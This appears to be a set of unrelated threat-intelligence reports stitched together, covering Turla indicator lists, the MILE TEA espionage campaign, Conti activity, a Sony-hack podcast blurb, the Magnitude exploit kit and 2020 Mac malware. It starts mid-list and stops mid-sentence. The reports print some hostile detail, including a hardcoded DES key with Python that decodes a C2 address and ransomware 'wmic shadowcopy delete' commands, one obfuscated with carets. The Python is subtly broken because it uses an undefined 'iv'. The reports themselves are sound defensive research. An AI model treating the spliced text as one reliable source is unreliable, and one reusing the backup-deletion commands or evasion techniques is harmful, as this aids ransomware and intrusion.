626955d20325371aca2742a70d6861ab - unknown.exe (“TadjMakhal”) - 16eba8e5f0440a213935e1af4976d801 - unknown.exe (“RussiaPositions”) - 0c35a8f9f9b6ab2f7e3b4408abc61f73 - pdfview.exe - d685403d000f8f6b25a6746f6f05a51c - winword.exe **Fake “Adobe Flash Player” Epic backdoor installers:** - 7c52c340ec5c6f57ef2fd174e6490433 - adobe_flash_player.exe - 030f5fdb78bfc1ce7b459d3cc2cf1877 - Shockwave_Flash_Player.exe **Fake “Microsoft Security Essentials Quick Scan” Epic backdoor installer:** - 89b0f1a3a667e5cd43f5670e12dba411 **Turla Carbon Pfinet backdoors:** - e9580b6b13822090db018c320e80865f - Pfinet backdoor - 071d3b60ebec2095165b6879e41211f2 - Pfinet backdoor **Turla Carbon package:** - cb1b68d9971c2353c2d6a8119c49b51f **Related Turla sample module:** - 626576e5f0f85d77c460a322a92bb267 **Java Exploits used in waterhole attacks:** - 536eca0defc14eff0a38b64c74e03c79 - f41077c4734ef27dec41c89223136cf8 - 15060a4b998d8e288589d31ccd230f86 - e481f5ea90d684e5986e70e6338539b4 - 21cbc17b28126b88b954b3b123958b46 - acae4a875cd160c015adfdea57bd62c4 ### D. Epic C&C Server URLs (hacked sites used as 1st level proxies): - hxxp://losdivulgadores[.]com/wp-content/plugins/wp-themes/ - hxxp://gspersia[.]com/first/fa/components/com_sitemap/ - hxxp://blog.epiccosplay[.]com/wp-includes/sitemap/ - hxxp://gofree[.]ir/wp-content/plugins/online-chat/ - hxxp://homaxcompany[.]com/components/com_sitemap/ - hxxp://www.hadilotfi[.]com/wp-content/themes/profile/ - hxxp://mortezanevis[.]ir/wp-content/plugins/wp-static/ - hxxp://ncmp2014[.]com/modules/mod_feed/feed/ - hxxp://mebroad[.]com/wp-content/gallery/posters/img/ - hxxp://gruenerenate[.]de/wp-content/plugins/bbpress/includes/lang/ - hxxp://www.arshinmalalan[.]com/themes/v6/templates/css/in.php - hxxp://products.parentsupermarket[.]com/phpMyAdmin/ - hxxp://c-si[.]ir/includes/ - hxxp://mkiyanpoor[.]ir/wp-includes/ - hxxp://www.massage-ketsch[.]de/wp-includes/ - hxxp://onereliablesource[.]com/wp-content/plugins/sitemap/ - hxxp://petrymantenimiento[.]com/wp-content/plugins/wordpress-form-manager/lang/ - hxxp://ohsoverydarling[.]com/wp-content/themes/verification/ - hxxp://poissonnerieantoine[.]com/web/wp-content/themes/titan/view/ - hxxp://www.gholghola[.]com/azemashoorhost/smarty/tmpl/ - hxxp://www.saglikdetay[.]com/wp-includes/images/icons/ - hxxp://www.entesharati[.]com/wp-content/plugins/edd-paginate/ - hxxp://iranabad[.]com/sarzamin/cms/application/classess/plugins/ - hxxp://deltateam[.]ir/components/com_sitemap/ - hxxp://akva-clean[.]ru/typo3temp/ - hxxp://discontr[.]com/wp-content/themes/twentytwelve/ - hxxp://curaj[.]net/pepeni/images/ - hxxp://executrek[.]org/components/com_sitemap/ - hxxp://amoodgostar[.]com/wp-content/themes/simplebanner/ - hxxp://gayamore[.]com/gallery/090607/ - hxxp://www.automation-net[.]ru/typo3temp/ - hxxp://www.lacitedufleuve[.]com/Connections1/ - hxxp://www.aspit[.]sn/administrator/modules/mod_feed/ ### E. Intermediary level proxies (hacked sites used as 2nd/3rd level): - hxxp://masterciw[.]com/ - hxxp://khrn[.]tk/wp-includes/ - hxxp://pradlolux[.]cz/system/helper/ - hxxp://original-key[.]com/catalog/controller/payment/ - hxxp://www.noraci[.]com/wp-includes/ - hxxp://tuvpr[.]com/backup/wp-includes/ - hxxp://www.boshraamin[.]com/wp-includes/ - hxxp://www.bestjob[.]my/system/modules/comments/ - hxxp://rollinghillsfitness[.]com/wp-includes/ ### F. Motherships, hosting Epic Control panels and exploits - hxxp://avg-update.sytes[.]net/ - hxxp://newsforum.servehttp[.]com/ - hxxp://newsweek.servehttp[.]com/ - hxxp://adobe.faqserv[.]com/ - hxxp://cqcount.servehttp[.]com/ - hxxp://easycounter.sytes[.]net/ - hxxp://newsweek.serveblog[.]net/ - hxxp://image.servepics[.]com/ - hxxp://bgl.serveftp[.]net/
**MILE TEA: Cyber Espionage Campaign Targets Asia Pacific Businesses and Government Agencies** Posted by: Kaoru Hayashi on September 14, 2016 In June 2016, Unit 42 published the blog post “Tracking Elirks Variants in Japan: Similarities to Previous Attacks,” in which we described the resemblance of attacks using the Elirks malware family in Japan and Taiwan. Since then, we continued tracking this threat using Palo Alto Networks AutoFocus and discovered more details of the attacks, including target information. We’ve seen examples of this attack campaign, which we’ve named “MILE TEA” (MIcrass Logedrut Elirks TEA), appearing as early as 2011, and that it has since expanded the scope of targets. It involves multiple malware families and often tricks targets by sending purported flight e-tickets in email attachments. The identified targets include three separate Japanese trading companies, a Japanese petroleum company, a mobile phone organization based in Japan, the Beijing office of a public organization of Japan, and a government agency in Taiwan. Figure 1 shows the number of attacks considered as a part of the MILE TEA campaign since 2011. As we can see, the volume of the threats is small in total. In the first three years, most of the reported attacks were from Taiwan. We saw infections in a few other countries in Asia, but the number was minuscule. In mid-2013, the target base shifted to Japan. Since 2015, most of the reported attacks are from Japan. The primary infection vector is a spear phishing email with a malicious attachment. Although we collected several document-based exploit files (RTF, XLS, and PDF) in this attack campaign, most of the attachments were executable files that suggest a custom malware installer. Attackers often use self-extracting executable files or existing installer packages to reduce development costs if they require dropping multiple files. However, in this campaign, the attacker group created its own installer program with the following features: - Windows executable with folder icon - Creates directory with pre-determined name in the same path as the installer - Copies decoy files into the created directory - Installs a batch file and malware on Temp Dir - Executes a batch script to delete the installer Figure 3 shows examples of the custom installer and its different folder icons. The use of e-flight tickets as phishing lures has been seen repeatedly for a number of years. The following is the list of malicious attachment samples that use this technique. It is the most prevalent lure used by this threat actor to entice targets for this campaign. | Target | Year | SHA256 | |--------|------|--------| | Japan | 2016 | 71d5bc9404aa2aa40d79cb16837246a31fa3f12b195330a091e3867aa85f1bc6 | | Taiwan | 2015 | 7b1509051ccacc4676bf491f63c8a8c7c3b42ffd6cbf3d8bb1dd0269424df985 | | Japan | 2014 | 8c338446764db7478384700df811937dabc3c6747f54fd6325629e22e02de2cc | | Taiwan | 2014 | b393b9774c32de68b35bffd43ace22f9e9d695545de02d8b1d29c8ae38db3488 | | Taiwan | 2014 | 4607aa975fd9b5aaebe684b26fa31d8ef0840682b148dbcf7f57e9c35d107eb6 | | Taiwan | 2013 | f23ab2ee9726c4061b2e0e7f6b9491e384de8103e410871c34b603326b7672da | | Taiwan | 2013 | 5de5346613be67e3e3bdf82c215312e30bf5ab07aafd0da0e6967897752e0c1d | | Taiwan | 2013 | 1ed808c7909bde7164d81a8c752a62ced116e03cfb6c7502019d84340f04b76a | | Taiwan | 2012 | b6034a3fc6e01729166a4870593e66d9daf0cdff8726c42231662c06358632a7 | | Taiwan | 2012 | f18ddcacfe4a98fb3dd9eaffd0feee5385ffc7f81deac100fdbbabf64233dc68 | In this MILE TEA campaign, the actor uses the following three malware families as the initial infection by the custom installer. The primary purpose of these families is to establish a bridgehead, collecting system information and downloading additional malware from a remote server. | Malware | Executable Type | Cipher | C2 address from Blog | |-----------|-----------------|--------|----------------------| | Elirks | PE, PE64, DLL | TEA, AES | Yes | | Micrass | PE | TEA | No | | Logedrut | PE, MSIL | DES | Yes | While many security vendors classify these samples as different malware families, they share functionality, code, and infrastructure, leading us to conclude that they in fact belong to the previously mentioned malware families. As described in the previous blog post, one of the unique features of Elirks is that it retrieves a command and control (C2) address from a public-facing blog service. When configured, the malware accesses a predetermined blog page, discovers a specific string, and proceeds to decode it with Base64 and decrypt it using the Tiny Encryption Algorithm (TEA) cipher. The same functionality is found in Logedrut; however, instead of using the TEA cipher, it uses DES. A sample of Logedrut (afe57a51c5b0e37df32282c41da1fdfa416bbd9f32fa94b8229d6f2cc2216486) accesses a free blog service hosted in Japan and reads the following article posted by the threat actor. The routine called GetAddressByBlog() in Logedrut looks for text between two pre-defined strings. In this particular case, the malware sample will look for text between “doctor fish” and “sech yamatala.” The threat determines encoded text is “pKuBzxxnCEeN2CWLAu8tj3r9WJKqblE+” and proceeds to handle it using the following function. This code deciphers the string with BASE64 and DES. So far, all Logedrut samples use exactly the same key, 1q2w3e4r, for decryption. The following Python code can be used to decode the C2 address. ```python import base64 import Crypto.Cipher.DES encoded_string = "pKuBzxxnCEeN2CWLAu8tj3r9WJKqblE+" key = "1q2w3e4r" decoded_string = base64.b64decode(encoded_string) des = Crypto.Cipher.DES.new(key, Crypto.Cipher.DES.MODE_CBC, iv) decrypted_string = des.decrypt(decoded_string) print(decrypted_string) ``` Elirks and Micrass employ exactly the same TEA cipher. TEA is a block cipher that operates against 64-bit (8 bytes) of data at a time to encrypt and decrypt. The author of the code added an extra cipher operation by XORing data when a block size is less than 64 bits. For example, if the encrypted data length is 248 bits (31 bytes), the code in both malware samples decrypts the first three blocks (64 x 3 = 192 bits) with TEA. The final block is only 56 bits (248 – 192 = 56), so the code uses a simple XOR operation against the remaining data. This supplement to TEA has not been widely used, and all Elirks and Micrass samples have the same static key (2D 4E 51 67 D5 52 3B 75) for the XOR operation. Due to these similarities, we can conclude that the author of both families may be the same or has access to the same source code. Based on our analysis, we see that only a handful of samples share the same infrastructure directly. The threat actors carefully minimize reusing C2 domains and IP addresses among their malware samples, and yet they prefer using servers located in Hong Kong no matter where the target resides. We found a spear phishing email sent to a government agency in Taiwan in March 2015. The email sender masquerades as an airline company, and the RAR archive attachment contains the custom installer named Ticket.exe that drops Ticket.doc and Micrass malware. During the analysis of the email, we came across an article in a Taiwan newspaper from February 2014 that alerted the public about a similar email message being widely distributed that contained a malicious attachment. The only difference between the email messages was the date. The adversary reused the email message more than a year ago. The most interesting part of this attack campaign is that the threat actor has been using stolen documents from previously compromised organizations to perform additional attacks since early 2015. These documents are not publicly available nor do they look to be created from scratch by the attacker. Because they contain sensitive data tying to the specific business, it is unlikely that a third party would be able to craft them. The following figure shows the decoy file installed by a sample identified in early April 2015. The file is a weekly report created at the end of March 2015 by a salesperson at a Japanese trading company. The report includes various sensitive information specific to their business. The properties identified within the document indicate that the company name matches the context, and the person who last modified it is the same individual seen in the document itself. Because of this, the file appears legitimate and it’s very unlikely that this document would ever be made publicly available. The threat actor almost certainly stole this document soon after it was created and reused it as the decoy for the next target within a week of the theft. Another installer found in Japan in May 2015 also contained sensitive information. The decoy looks to be a draft version of a legitimate contract addendum between the subsidiary of a Japanese petroleum company based in Australia and a China-based company. The document provides details of the deal, including price. It contains a bunch of tracked changes by what appears to be two Japanese-speaking individuals. We have confirmed that one of the individuals was a manager of an overseas project of the parent company in Japan by the official release of personnel change in 2013. The file is also considered to be stolen from a target organization and used for decoy for the next attack. In addition to those examples, we found the following decoy files that are likely stolen from previously compromised organizations. | Organization | Type of document | |---------------------------------------------------------|------------------------------------------| | Beijing Office of a public organization of Japan | Budget Report | | Another Trading Company in Japan | Internal investigation document | | Mobile phone organization in Japan | Inventory of new smartphones | We cannot confirm whether those files were stolen as part of the MILE TEA campaign or not. Either way, it’s difficult to imagine that the threat actor sent those internal documents to entirely different organizations or industries. One plausible explanation would be that the threat actors target different persons or departments within the same organization or industry. So far, we have described two trading companies in Japan that are possibly targeted. In addition to these two companies, there is another company in Japan that could be involved in the attack campaign as well. A sample of Logedrut was identified and is capable of communicating with C2 through an internal proxy server in the compromised organization. The sample contains an internal proxy address for a trading company in Japan. MILE TEA is a five-year-long targeted attack campaign focused on businesses and government agencies in Asia Pacific and Japan. The threat actor behind this maintains and uses multiple malware families, including a custom installer. The actor is interested in organizations that conduct business in multiple countries. The trading companies cover an immensely broad area, from commodity products to aviation around the world. Another possible target is a Japanese petroleum company that has multiple offices and subsidiary companies in overseas countries. A public organization in Japan and a government agency in Taiwan were also targeted. Palo Alto Networks customers are protected from this threat in the following ways: 1. WildFire accurately identifies all malware samples related to this operation as malicious. 2. Domains used by this operation have been flagged as malicious in Threat Prevention. 3. AutoFocus users can view malware related to this attack using the “Micrass,” “Elirks,” and “Logedrut” tags. Note: We omitted some hashes containing potentially stolen documents from the compromised organization.
# GOLD ULRICK Continues Conti Operations Despite Public Disclosures Counter Threat Unit Research Team Secureworks® Counter Threat Unit™ (CTU) researchers analyzed how the GOLD ULRICK threat group, which operates the Conti name-and-shame ransomware scheme, has adapted in response to the public disclosure of a significant amount of GOLD ULRICK communications and operational details. CTU™ analysis indicates that the group is returning to the levels of activity that represented a peak in 2021. The Conti leak site listed an average of 43 victims per month in 2021. Despite a drop following the Colonial Pipeline attack and a peak of 95 victims listed in November, the rate of naming victims was fairly consistent. The decreased activity in December 2021 and January 2022 across all name-and-shame ransomware groups was likely due to a holiday break. The number of victims added to the Conti leak site increased in February 2022. On February 27, the @ContiLeaks Twitter persona began leaking GOLD ULRICK data and communications. Despite these public disclosures, the number of Conti victims posted in March surged to the second-highest monthly total since January 2021. Although these types of leaks could have prompted some threat groups to modify their communication methods or tooling, GOLD ULRICK appears to have continued and even increased the tempo of its operations without disruption. GOLD ULRICK member 'Jordan Conti' confirmed this continuation and the minimal impact of the disclosures in a March 31, 2022 post on the RAMP underground forum. CTU researchers previously observed this persona advertising Conti, providing updates on takedown efforts, and recruiting affiliates. The March 31 post claims that the Conti leak site only lists victims that have not paid the ransom and that twice that number have been compromised. It suggests that Conti has a 50% payment success rate with an average payout of '700k'. The currency is not specified but is likely to be U.S. dollars. CTU researchers are unable to verify these claims, but it is reasonable to assume that the leak site does not list all victims. 'Jordan Conti' indicates that GOLD ULRICK continues to evolve its ransomware, intrusion methods, and approaches to working with data. The Conti leak site added 11 victims in the first four days of April. If GOLD ULRICK operations continue at that pace, the group will continue to pose one of the most significant cybercrime threats to organizations globally.
# Hacking Hollywood ## The Lazarus Heist A movie, Kim Jong-un and a devastating cyber attack. The story of the Sony hack. How the Lazarus Group hackers caused mayhem in Hollywood and for Sony Pictures Entertainment. And this is just the beginning… **Release date:** 18 April 2021 **Available now** **Duration:** 34 minutes “Almost a perfect crime.” The hackers. A billion dollars. Investigators blame North Korea.
# Magnitude Exploit Kit – Evolution **Authors** Boris Larin Exploit kits are not as widespread as they used to be. In the past, they relied on the use of already patched vulnerabilities. Newer and more secure web browsers with automatic updates simply do not allow known vulnerabilities to be exploited. It was very different back in the heyday of Adobe Flash because it’s just a plugin for a web browser, meaning that even if the user has an up-to-date browser, there’s a non-zero chance that Adobe Flash may still be vulnerable to 1-day exploits. Now that Adobe Flash is about to reach its end-of-life date at the end of this year, it is disabled by default in all web browsers and has pretty much been replaced with open standards such as HTML5, WebGL, and WebAssembly. The decline of exploit kits can be linked to the decline of Adobe Flash, but exploit kits have not disappeared completely. They have adapted and switched to target users of Internet Explorer without the latest security updates installed. Microsoft Edge replaced Internet Explorer as the default web browser with the release of Windows 10 in 2015, but Internet Explorer is still installed for backward compatibility on machines running Windows 10 and it has remained a default web browser for Windows 7/8/8.1. The switch to Microsoft Edge development also meant that Internet Explorer would no longer be actively developed and would only receive vulnerability patches without general security improvements. Still, somehow, Internet Explorer remains a relatively popular web browser. According to NetMarketShare, as of April 2020, Internet Explorer is used on 5.45% of desktop computers (for comparison, Firefox accounts for 7.25%, Safari 3.94%, Edge 7.76%). Despite the security of Internet Explorer being five years behind that of its modern counterparts, it supports a number of legacy script engines. CVE-2018-8174 is a vulnerability in a legacy VBScript engine that was originally discovered in the wild as an exploited zero-day. The majority of exploit kits quickly adopted it as their primary exploit. Since the discovery of CVE-2018-8174, a few more vulnerabilities for Internet Explorer have been discovered as in-the-wild zero-days: CVE-2018-8653, CVE-2019-1367, CVE-2019-1429, and CVE-2020-0674. All of them exploited another legacy component of Internet Explorer – a JScript engine. It felt like it was just a matter of time until exploit kits adopted these new exploits. Exploit kits still play a role in today’s threat landscape and continue to evolve. For this blog post, I studied and analyzed the evolution of one of the most sophisticated exploit kits out there – Magnitude EK – for a whole year. ## This blog post in a nutshell: - Magnitude EK continues to deliver ransomware to Asia Pacific (APAC) countries via malvertising. - Study of the exploit kit’s activity over a period of 12 months shows that Magnitude EK is actively maintained and undergoes continuous development. - In February this year, Magnitude EK switched to an exploit for the more recent vulnerability CVE-2019-1367 in Internet Explorer (originally discovered as an exploited zero-day in the wild). - Magnitude EK uses a previously unknown elevation of privilege exploit for CVE-2018-8641 developed by a prolific exploit writer. ## Introduction Magnitude EK is one of the longest-standing exploit kits. It was on offer in underground forums from 2013 and later became a private exploit kit. As well as a change of actors, the exploit kit has switched its focus to deliver ransomware to users from specific Asia Pacific (APAC) countries via malvertising. Our statistics show that this campaign continues to target APAC countries to this day and during the year in question, Magnitude EK always used its own ransomware as a final payload. ## Infection Vector Like the majority of exploit kits out there, in 2019 Magnitude EK used CVE-2018-8174. However, the attackers behind Magnitude EK were one of the first to adopt the much newer vulnerability CVE-2019-1367 and they have been using it as their primary exploit since February 11, 2020. As was the case with CVE-2018-8174, they didn’t develop their own exploit for CVE-2019-1367, instead reusing the original zero-day and modifying it with their own shellcode and obfuscation. CVE-2019-1367 is a Use-After-Free vulnerability due to a garbage collector not tracking a value that was not rooted in the legacy JavaScript engine jscript.dll. By default, Internet Explorer 11 uses Jscript9.dll, but it’s still possible to execute the script using the legacy engine by enabling compatibility mode with Internet Explorer 7/8. This can be done with the following script attributes: ```html <meta http-equiv="x-ua-compatible" content="IE=EmulateIE8" /> <script language="JScript.Compact">…</script> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE8" /> <script language="JScript.Encode">…</script> ``` The original exploit uses JScript.Compact, a special profile defined for embedded devices. But JScript.Encode is much more interesting because it was developed by Microsoft to protect scripts and prevent source code from being copied. This script attribute can execute scripts encoded with Microsoft Script Encoder (screnc.exe) and it also disables script debugging. Basically, it’s a DRM for JavaScript. Magnitude EK changed from its original exploit to take advantage of this feature. ## Shellcode Their shellcodes piqued my interest. They use a huge number of different shellcode encoders, from the classical Metasploit shikata_ga_nai encoder and DotNetToJScript to a variety of custom encoders and stagers. It was also impossible not to notice the changes happening to their main shellcode responsible for launching the ransomware payload. The attackers are fine-tuning their arsenal on a regular basis. Magnitude EK has existed since at least 2013, but below you can see just the changes to payload/shellcode that occurred over the period of one year (June 2019 to June 2020). During this period, we observed attacks happening almost every day. ### Timeline of shellcode/payload changes | Date | Description | |----------------|-------------| | June 2019 | Shellcode downloads a payload that’s decrypted with a custom xor-based algorithm. All strings are assembled on stack and to change payload the URL shellcode needs to be recompiled. The payload is a PE module. The module export function name is hardcoded to “GrfeFVGRe”. The payload is executed in an Internet Explorer process. It contains an elevation of privilege exploit with support for x86 and x64 versions of Windows and an encrypted ransomware payload. After elevation of privilege, it injects the ransomware payload to other processes, spawns the wuapp.exe process and injects there as well. If process creation fails, it also runs the ransomware from the current process. | | July 20, 2019 | Payload module export function name is auto-generated. | | November 11, 2019 | Shellcode tries to inject the payload to other processes. If API function Process32First fails, it spawns the process wuapp.exe from Windows directory and injects the payload there. The injection method is WriteProcessMemory + CreateRemoteThread. The payload is ransomware without elevation of privilege. The payload module export function name is hardcoded again, but now to “lssrcdxhg”. | | November 20, 2019 | They start to use the elevation of privilege exploit again, but now they also check the integrity level of the process. If it’s a low integrity process, then they execute the payload with the exploit in the current process; if that’s not the case, then it’s injected into other processes. The process is no longer created from shellcode, but it’s still created from the payload. The payload module export name is hardcoded to “gv65eytervsawer2”. | | January 17, 2020 | The shellcode remains the same, but the payload module export function name is hardcoded to “i4eg65tgq3f4”. The payload changed a bit. The name of the created process is now assembled on stack. The name of the process also changed – it no longer spawns a wuapp.exe, but instead launches the calculator calc.exe and injects the ransomware payload there. | | January 27, 2020 | The payload is no longer a PE module but plain shellcode. The payload consists of ransomware without elevation of privilege. | | February 4, 2020 | The payload is a PE module again, but once again the export name is auto-generated. | | February 10, 2020 | The shellcode comes with two URLs for different payloads. The shellcode checks the integrity level and depending on process integrity level, it executes the elevation of privilege payload or uses the ransomware payload straightaway. All strings and function imports in the exploit are now obfuscated. The payload does not spawn a new process, and only injects to others. | | February 11, 2020 | Magnitude EK starts using CVE-2019-1367 as its primary exploit. The attackers use the shellcode from January 27, 2020, but they have modified it to check for the name of a particular process. If the process exists, they don’t execute the payload from Internet Explorer. The process name is “ASDSvc” (AhnLab, Inc.). | | February 17, 2020 | The attackers switch to the shellcode from February 10, 2020, but the payload module export function name is hardcoded to “xs324qsawezzse”. | | February 28, 2020 | Shellcode encryption is removed. The payload module export function name is hardcoded to “sawd6vf3y5”. | | March 1, 2020 | Strings are no longer stored on stack. | | March 6, 2020 | Back to the shellcode from February 17, 2020. | | March 10, 2020 | The attackers add some functionality implemented after February 17, 2020: payload encryption is removed and strings are no longer stored on stack. The payload module export function name is still hardcoded to “xs324qsawezzse”. | | March 16, 2020 | Functionality added so as not to inject into a particular process (explorer.exe). The injection method is also changed to NtCreateSection + NtMapViewOfSection + RtlCreateUserThread. | | April 2, 2020 | The attackers add some functionality similar to that used in November 2019. They check the integrity level of a process and if it’s a low integrity process, they execute the payload from the current process. If that’s not the case, they inject it to other processes (other than explorer.exe) and at the end create a new process and inject it there as well. The created processes are C:\Program Files\Windows Media Player\wmlaunch.exe or C:\Program Files (x86)\Windows Media Player\wmlaunch.exe depending on whether it’s a WOW64 process or not. | | April 4, 2020 | Shellcode updated to use a new injection technique: NtQueueApcThread. The shellcode also comes with a URL for a ransomware payload without elevation of privilege. The shellcode checks the integrity level and if it’s a low integrity process, the shellcode calls ExitProcess(). Use of the hardcoded export name “xs324qsawezzse” is also stopped. | | April 7, 2020 | Back to the shellcode from April 2, 2020. | | May 5, 2020 | Previously the attackers adjusted their injection method, but now they revert back to injection via the WriteProcessMemory + CreateRemoteThread technique. | | May 6, 2020 | They continue to make changes to the code injection method. From now on they use NtCreateThreadEx. | ## Elevation of Privilege Exploit The elevation of privilege exploit used by Magnitude EK is quite interesting. When I saw it for the first time, I wasn’t able to recognize this particular exploit. It exploited a vulnerability in the win32k kernel driver and closer analysis revealed that this particular vulnerability was fixed in December 2018. According to Microsoft, only two win32k-related elevation of privilege vulnerabilities were fixed that month – CVE-2018-8639 and CVE-2018-8641. Microsoft previously shared more information with us about CVE-2018-8639, so we can say with some certainty that the encountered exploit uses vulnerability CVE-2018-8641. The exploit has huge code similarities with another zero-day that we had found previously – CVE-2019-0859. Based on these similarities, we attribute this exploit to the prolific exploit writer known as “Volodya”, “Volodimir” or “BuggiCorp”. Volodya is famous for selling zero-day exploits to both APT groups and criminals. In the past, Volodya advertised his services at exploit(dot)in, the same underground forum where Magnitude EK was once advertised. We don’t currently know if the exploit for CVE-2018-8641 was initially used as a zero-day exploit or it was developed as a 1-day exploit through patch diffing. It’s also important to note that a public exploit for CVE-2018-8641 also exists, but it’s incorrectly designated to CVE-2018-8639 and it exploits the vulnerability in another fashion, meaning there are two completely different exploits for the same vulnerability. ## Ransomware Magnitude EK uses its own ransomware as its final payload. The ransomware comes with a temporary encryption key and list of domain names and the attackers change them frequently. Files are encrypted with the use of Microsoft CryptoAPI and the attackers use Microsoft Enhanced RSA and AES Cryptographic Provider (PROV_RSA_AES). The initialization vector (IV) is generated pseudo-randomly for each file and a 0x100 byte long blob with encrypted IV is appended to the end of the file. The ransomware doesn’t encrypt the files located in common folders such as documents and settings, appdata, local settings, sample music, tor browser, etc. Before encryption, the extensions of files are checked against a hash table of allowed file extensions that contains 715 entries. A ransom note is left in each folder with encrypted files and at the end a notepad.exe process is created to display the ransom note. To hide the origin of the executed process, the ransomware uses one of two techniques: “wmic process call create” or “pcalua.exe –a … -c …”. After encryption, the ransomware also attempts to delete backups of the files with the “wmic shadowcopy delete” command that is executed with a UAC-bypass. ### Example of Magnitude EK Ransom Note The core of the ransomware did not undergo many changes throughout the year. If we compare old samples with more recent versions, there are only a few notable changes: - In older versions, immediately at launch the payload gets the default UI language of the operating system using the GetSystemDefaultUILanguage API function and compares the returned value against a couple of hardcoded language IDs (e.g. zh-HK – Hong Kong S.A.R., zh-MO – Macao S.A.R., zh-CN – People’s Republic of China, zh-SG – Singapore, zh-TW – Taiwan, ko-KR – Korea, ms-BN – Brunei Darussalam, ms-MY – Malaysia). If the language ID doesn’t match, then ExitProcess() will be executed. In newer versions, the check for the language ID was removed. - In older versions, the ransomware deletes file backups with the command “cmd.exe /c “%SystemRoot%\system32\wbem\wmic shadowcopy delete” via UAC-bypass in eventvwr.exe. In the newer version, the command is obfuscated with caret character insertion “cmd.exe /c “%SystemRoot%\system32\wbem\wmic ^s^h^a^d^o^w^c^o^p^y^d^e^l^e” and executed via UAC-bypass in CompMgmtLauncher.exe. ## Conclusions The total volume of attacks performed by exploit kits has decreased, but they still exist, are still active, and still pose a threat, and therefore need to be treated seriously. Magnitude is not the only active exploit kit and we see other exploit kits that are also switching to newer exploits for Internet Explorer. We recommend installing security updates, migrating to a newer operating system (make sure you stay up to date with Windows 10 builds), and also not using Internet Explorer as your web browser. Throughout the entire Magnitude EK campaign, we have detected the use of Internet Explorer exploits with the verdict PDM:Exploit.Win32.Generic.
# The Mac Malware of 2020 👾 A comprehensive analysis of the year's new malware by: Patrick Wardle / January 1, 2021 ## Background Goodbye, and good riddance 2020 …and hello 2021! 🥳 In recent years, malicious programs targeting macOS have grown in prevalence (and sophistication), perhaps even reaching parity with Microsoft Windows platforms. This is well illustrated in Malwarebytes’ “2020 State of Malware Report”: "And for the first time ever, Macs outpaced Windows PCs in number of threats detected per endpoint." -Malwarebytes It is important to note these statistics include both adware (and potentially unwanted programs). And the reality is, if a Mac user is infected with malicious code, more than likely it will be adware (vs. a sophisticated nation-state backdoor): "The vast majority of threats for macOS in [recent years] were in the AdWare category." -Kaspersky However, it is wise not to underestimate the potential impact of adware, upon its victims. The noted security researcher, Thomas Reed articulates this well in a writeup titled “Mac adware is more sophisticated and dangerous than traditional Mac malware”: "However, adware and PUPs can actually be far more invasive and dangerous on the Mac than 'real' malware. They can intercept and decrypt all network traffic, create hidden users with static passwords, make insecure changes to system settings, and generally dig their roots deep into the system so that it is incredibly challenging to eradicate completely." -Thomas Reed For the fifth year in a row, I’ve decided to put together a blog post that aims to comprehensively cover all the new Mac malware that appeared during the course of the year. While the malware may have been reported on before (i.e. by the AV company that discovered them), this blog aims to cumulatively and comprehensively cover all the new Mac malware of 2020 in one place …yes, with samples of each malware for download, so that you can play along! #SharingIsCaring In this blog post, we focus on new Mac malware specimens or new variants that appeared in 2020. Adware and/or malware from previous years are not covered. For each malicious specimen covered in this post, we’ll identify the malware’s: - **Infection Vector:** How it was able to infect macOS systems. - **Persistence Mechanism:** How it installed itself, to ensure it would be automatically restarted on reboot/user login. - **Features & Goals:** What was the purpose of the malware? A backdoor? A cryptocurrency miner? Or something more insidious… Also, for each malware specimen, I’ve added a direct download link in case you want to follow along with our analysis or dig into the malware more! I’d personally like to thank the following organizations, groups, and researchers for their work, analysis, & assistance! - VirusTotal. - @thomasareed, @morpheus______, @philofishal, and others who choose to remain unnamed. ## Malware Analysis Tools & Tactics Throughout this blog, we’ll reference various tools used in analyzing the malware specimens. These include: - **ProcessMonitor:** Our user-mode (open-source) utility that monitors process creations and terminations, providing detailed information about such events. - **FileMonitor:** Our user-mode (open-source) utility monitors file events (such as creation, modifications, and deletions) providing detailed information about such events. - **WhatsYourSign:** Our (open-source) utility that displays code-signing information, via the UI. - **Netiquette:** Our (open-source) network monitor. - **lldb:** The de-facto command-line debugger for macOS. Installed as part of Xcode. - **Hopper Disassembler:** A reverse engineering tool for macOS that lets you disassemble, decompile and debug your applications or malware specimens! ## Timeline - **Dacls** (05/2020): A macOS port of a Lazarus group cross-platform backdoor. - **EvilQuest** (06/2020): An insidious virus with ransomware capabilities. - **WatchCat** (07/2020): The latest Lazarus APT group backdoor. - **XCSSET** (08/2020): Targeting developers, this malware leverages various 0days to steal passwords and exfiltrate data. - **FinSpy** (09/2020): A commercial cross-platform implant, supporting a myriad of cyber espionage features & capabilities. - **IPStorm** (10/2019): A cross-platform botnet, now ported to macOS. - **GravityRAT** (11/2019): A cross-platform first-stage downloader for a RAT, now ported to macOS. ## OSX.Dacls Dacls is a macOS port of the cross-platform Dacls RAT (created by the Lazarus APT group), which affords a remote attacker complete control over an infected system. **Download:** OSX.Dacls (password: infect3d) Dacls originally was discovered in 2019, but at that time was only seen targeting Windows and Linux systems: "Dacls is a RAT that was discovered by Qihoo 360 NetLab in December 2019 as a fully functional covert remote access Trojan targeting the Windows and Linux platforms." -Malwarebytes In 2020, MalwareBytes uncovered a macOS variant. ### Writeups: - **Infection Vector:** Trojanized (2FA) Application MalwareBytes, who uncovered the Mac variant of OSX.Dacls, note: "[the] Mac version is ...distributed via a Trojanized two-factor authentication application for macOS called MinaOTP." The trojanized application was (re)named TinkaOTP and distributed via disk image TinkaOTP.dmg. It is likely that the attackers relied on social engineering efforts, having to coerce macOS users to download and run the trojanized application. ### Persistence: Launch Item OSX.Dacls persists as a launch item (com.aex.lop.agent.plist). If running as root, it will persist as a launch daemon; otherwise, as a user launch agent. ### Capabilities: Persistent Backdoor (+ plugins) OSX.Dacls is a macOS port of a Windows/Linux RAT. The initial report on the (Windows/Linux versions of the) Dacls RAT was published in December 2019, by Netlab. The report describes various plugins such as: - File plugin - Process plugin - “Test” plugin - “Reverse P2P” plugin - “LogSend” plugin ## OSX.EvilQuest EvilQuest (also known as ThiefQuest) is a (true) computer virus, that also provides remote tasking and ransomware logic. **Download:** OSX.EvilQuest (password: infect3d) The noted Malware researcher Dinesh Devadoss discovered OSX.EvilQuest and tweeted about its ransomware tendencies and impersonation as Google Software update. ### Writeups: - “OSX.EvilQuest Uncovered (Part 1)” - “OSX.EvilQuest Uncovered (Part 2)” - “Updates on ThiefQuest, the Quickly-Evolving macOS Malware” ### Infection Vector: Pirated Software From Dinesh’s tweet, it was not apparent how the malware was able to infect macOS users. However, Thomas Reed of Malwarebytes noted that the malware had also been found in pirated versions of popular macOS software, shared on 